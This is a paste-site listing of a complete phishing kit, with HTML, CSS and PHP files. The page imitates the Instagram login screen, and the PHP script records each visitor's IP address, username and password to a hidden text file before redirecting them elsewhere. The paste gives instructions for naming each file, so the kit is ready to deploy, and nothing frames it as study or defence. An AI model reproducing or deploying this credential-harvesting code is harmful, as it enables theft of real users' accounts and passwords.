Advertisement
Guest User

Untitled

a guest
Dec 2nd, 2016
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.06 KB | None | 0 0
  1. HTML (Make sure the file is called index.html):
  2. <!DOCTYPE html>
  3. <html>
  4. <head>
  5. <link href="style.css" rel="stylesheet" type="text/css">
  6. <title>Sign Up - Instagram</title>
  7. <link href="favicon.ico" rel="icon" type="image/x-icon">
  8. <link href="favicon.ico" rel="shortcut icon" type="image/x-icon">
  9. </head>
  10. <body>
  11. <div class="background"></div>
  12. <div class="background2">
  13. <p>Don't have an account? <a href="https://www.instagram.com/accounts/login/">Sign Up</a></p>
  14. </div><img class="insta-logo" src="insta.png">
  15. <form action="sendinfo.php" method="post">
  16. <div class="login-form">
  17. <input autocomplete="off" class="input username" name="username" placeholder="Username" type="text"><br>
  18. <input autocomplete="off" class="input password" name="password" placeholder="Password" type="password"><br>
  19. <input class="button" name="submit" type="submit" value="Log in">
  20. </div>
  21. </form>
  22. </body>
  23. </html>
  24.  
  25. CSS (Make sure the file is called style.css):
  26. body {
  27. background-color: #FAFAFA;
  28. font-family: "Helvetica Neue", Arial, Helvetica, sans-serif;;
  29. }
  30. .background {
  31. position: relative;
  32. border: 1px solid #efefef;
  33. width: 348px;
  34. height: 238px;
  35. left: calc(50% - 174px);
  36. top: calc(40% - 119px);
  37. background-color: #ffffff;
  38. }
  39. .background2 {
  40. position: relative;
  41. border: 1px solid #efefef;
  42. width: 348px;
  43. height: 68px;
  44. left: calc(50% - 174px);
  45. top: calc(40% - 109px);
  46. background-color: #ffffff;
  47. }
  48. .background2 p {
  49. position: relative;
  50. font-size: 14px;
  51. font-family: "Helvetica Neue", Arial, Helvetica, sans-serif;
  52. color: #262626;
  53. text-align: center;
  54. top: 20%;
  55. }
  56. .insta-logo {
  57. position: absolute;
  58. left: calc(50% - 89.5px);
  59. top: calc(43% - 109px);
  60. }
  61. .input {
  62. background: 0 0;
  63. border: 1px solid #dbdbdb;
  64. border-radius: 3px;
  65. box-sizing: border-box;
  66. color: #262626;
  67. font-size: 14px;
  68. padding: 9px 8px 7px;
  69. -webkit-appearance: none;
  70. width: 268px;
  71. background-color: white;
  72. margin-bottom: 6px;
  73. }
  74. .button {
  75. background: #3897f0;
  76. border-color: #3897f0;
  77. color: #fff;
  78. border-radius: 3px;
  79. border-style: solid;
  80. border-width: 1px;
  81. font-weight: 600;
  82. width: 268px;
  83. padding: 9px 8px 7px;
  84. }
  85. .login-form {
  86. position: absolute;
  87. left: calc(50% - 134px);
  88. top: calc(40% - 19px);
  89. }
  90. a {
  91. color: #3897f0;
  92. text-decoration: none;
  93. }
  94.  
  95. PHP (Make sure the file is called sendinfo.php):
  96. <?php
  97. if($_POST['username'] == "" || $_POST['password'] == "" || strpos($_POST['username'], 'hugh') !== false) {
  98. header('Location: ./not-allowed/');
  99. }
  100. else {
  101. if(isset($_POST['username']) && isset($_POST['password'])) {
  102. $data = "IP :" . $_SERVER['REMOTE_ADDR'] . "\n" . "User: " . $_POST['username'] . "\n" . "Password: " . $_POST['password'] . "\n\n";
  103. $myfile = fopen("./f2f06c35-1b76-420b-ac81-847b362ba6a5/KL78.txt", "a") or die("Unable to open file!");
  104. fwrite($myfile, $data);
  105. setcookie("logged_in", 'yes');
  106. }
  107. else {
  108. die('no post data to process');
  109. }
  110. ?>
  111. <meta http-equiv="refresh" content="0; URL='http://hughchalmers.com/teachers/new/'" />
  112. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement